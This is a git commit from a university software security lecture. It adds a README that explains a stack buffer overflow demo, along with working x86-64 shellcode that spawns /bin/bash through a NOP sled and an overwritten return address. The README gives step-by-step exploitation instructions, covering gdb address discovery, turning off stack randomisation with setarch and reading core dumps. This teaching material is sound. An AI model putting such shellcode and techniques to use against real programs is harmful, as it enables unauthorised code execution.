added explanation of buffer overflow example

This commit is contained in:
christian.rossow 2024-11-07 15:22:04 +01:00
parent 1204c70c2d
commit e97c155816
4 changed files with 135 additions and 33 deletions

View File

@ -1,16 +1,12 @@
SOURCES = $(wildcard *.asm) .PHONY: clean shellcode bufoverflow
OBJS = $(SOURCES:.asm=.o)
EXECS = $(patsubst %.asm,%.runme,$(SOURCES))
all: $(EXECS) bufoverflow
%.o: %.asm all: bufoverflow shellcode
nasm -g -f elf64 $<
%.runme: %.o shellcode:
ld -o $@ $< nasm shellcode.asm
clean: clean:
rm -f *.o *.runme bufoverflow rm -f shellcode bufoverflow
bufoverflow: bufoverflow:
gcc bufoverflow.c -g -z execstack -o bufoverflow -O1 -fno-unroll-loops -fno-omit-frame-pointer -fno-dce -fno-dse gcc bufoverflow.c -z execstack -o bufoverflow -O1 -fno-unroll-loops -fno-omit-frame-pointer -fno-dce -fno-dse

View File

@ -0,0 +1,106 @@
# bufoverflow.c demo
This demo corresponds to the **Buffer Overflow: Code Execution** slide of the Software Security lecture.
The function `mystr()` is vulnerable as it has a buffer overflow when calling `fread()` with a wrong maximum lenght: only 512B would fit into the buffer but 1024B are passed as maximum length argument.
Attackers can therefore overflow the buffer `char mystr[512]` by providing input files larger than 512B.
**NOTE:** Before starting here, make sure you have your `.gdbinit` file configured correctly (see Moodle).
## Demo usage
To compile the demo, use an x64 system with `gcc` and `nasm` installed and invoke `make`. Then:
`./bufoverflow <filename>`
If the file is too large, the program should receive a segmentation fault during execution.
Otherwise, the program just exits gracefully.
## Exploiting the program within a debugger
Once we got the program running, we have to write the shellcode.
We face two challenges here.
1. We have to investigate how many bytes of shellcode we can place and what offset the saved `rip` has.
2. We have to compute the stack pointer to our shellcode that overwrites the saved `rip`.
We devote each a subsection for each challenge.
### Determinining the offset
### Computing the correct stack pointer
To compute the stack address, simply use `gdb`. To this end, we open the program in a debuger:
`gdb --args ./bufoverflow <path-to-input-file>`
Within `gdb`, we then set a breakpoint on the `mystr` function like this:
`break mystr`
You can then execute the program using the gdb command `run`. The program will execute until hitting the breakpoint. If you don't see registers or assembly you, simply enter `layout asm` and `layout regs`. You should then see the program before executing the `mystr` function prologue. Now, you can single-step using the `gdb` command `ni`. Single-step until after the function prologue (i.e., right after`sub rsp,0x200`). You then see the stack frame looking at `rbp` and `rsp`, where `rsp` points to the top of the stack and thus the single local function variable (the 512B buffer) in our function. Note down this value (in my case, `0x7fffffffe090`) and exit the debugger with SIGINT (i.e., CTRL+D) or using `exit` (noone does that).
### Compiling the shellcode
After having writting/adapted the shellcode, compile it using `make`.
To double-check if the shellcode was compiled correctly, you can disassemble it using the command
`objdump -D -b binary -M intel -d -m i386:x86-64 ./shellcode | less -S`
It should start with a (long) `nop` chain, followed by the system call, the shell string (misinterpreted as code) and the shellcode pointer (likewise misinterpreted as code).
Once you're satisfied, invoke
`gdb --args ./bufoverflow ./shellcode`
and then use the `run` command to get your shell.
Exit with SIGINT (CTRL+D); the first SIGINT will exit the shell, the second the debugger.
## Shellcode for exploits outside of the debugger
When you now try to exploit the program *without* using `gdb`, you will likely observe a segmentation fault like this:
```
$ ./bufoverflow ./shellcode
Segmentation fault
```
This has **two** reasons, both of which you'll have to address.
### Stack randomization
First, by default, Linux randomizes the stack location to make attacks like yours harder.
In `gdb` your attack worked as `gdb` disables this randomization to make debugging easier.
You can disable this randomization by executing the program like this:
`setarch \`uname -m\` -R ./bufoverflow ./shellcode`.
### Adjusting the stack pointer
Second, the stack pointer you obtained using `gdb` is invalid when the program is being run without `gdb`.
This is as `gdb` places environment variables on the stack that change (decrease!) the stack (i.e., `rsp` value).
There are (at least) two solutions to this problem:
#### Variant A: Guesstimate the right stack address
We can take into account that `gdb` places environment variables that change (decrease!) the `rsp` value (see [here](https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it) for details and possible workarounds that however only work for programs without arguments).
Thankfully, given that we have sufficient room for a `nop` sled in our sled, we can adopt to this and try to guesstimate a valid `rsp` value.
Try to increase the value by 256B (0x100).
This address should now point somewhere in the middle of our shellcode, i.e., into our NOP sled.
Then recompile the shellcode and give it a try.
#### Variant B: Inspecting a core dump.
If you're really after the exact correct `rsp` value, you can also record a so-called `core` dump of the vulnerable program upon crash, and then inspect the core dump using `gdb`.
To enable core dumps, run:
`ulimit -S -c unlimited`
Then, run the program and let it crash.
`setarch `uname -m` -R ./bufoverflow ./shellcode`
Now you should see a file called `core`, which is our core dump. We can inspect this using `gdb`:
`gdb ./bufoverflow ./core`
By inspecting the registers or memory content, you may be able to find out the correct `rsp` value. Note however that the core dump was taken *after* the function's epilogue and hence the `rbp` and `rsp` values will be clobbered. So it's always a little nasty to find the exact value and there's no systematic answer how to find it.

View File

@ -1,23 +0,0 @@
bits 64
global _start
_start:
times 128 nop
; 59 sys_execve const char *filename const char *const argv[] const char *const envp[]
; (rdi, rsi, rdx, r10, r8, r9)
mov rax, 59
lea rdi, [rel binbash]
xor rsi, rsi
xor rdx, rdx
syscall
times 5 nop
binbash:
db '/bin/bash', 0x00
ALIGN 512 ; 512-byte alignment for this part
times 8 nop ; overwrite saved rbp
dq 0x7fffffffdcd0 ; overwrite rip ([rbp+8])

View File

@ -0,0 +1,23 @@
bits 64
global _start
_start:
times 400 nop ; NOP sled
; 59 sys_execve const char *filename const char *const argv[] const char *const envp[]
; (rdi, rsi, rdx, r10, r8, r9)
mov rax, 59 ; system call number (59 = sys_execve)
lea rdi, [rel binbash] ; load ptr to bash string into rdi
xor rsi, rsi ; zero rsi
xor rdx, rdx ; zero rdx
syscall
times 5 nop
binbash:
db '/bin/bash', 0x00
ALIGN 512 ; 512-byte alignment for this code after here
times 8 nop ; overwrite saved rbp
dq 0x7fffffffe090 ; overwrite rip ([rbp+8])
;dq 0x7fffffffe1c0 ; overwrite rip ([rbp+8])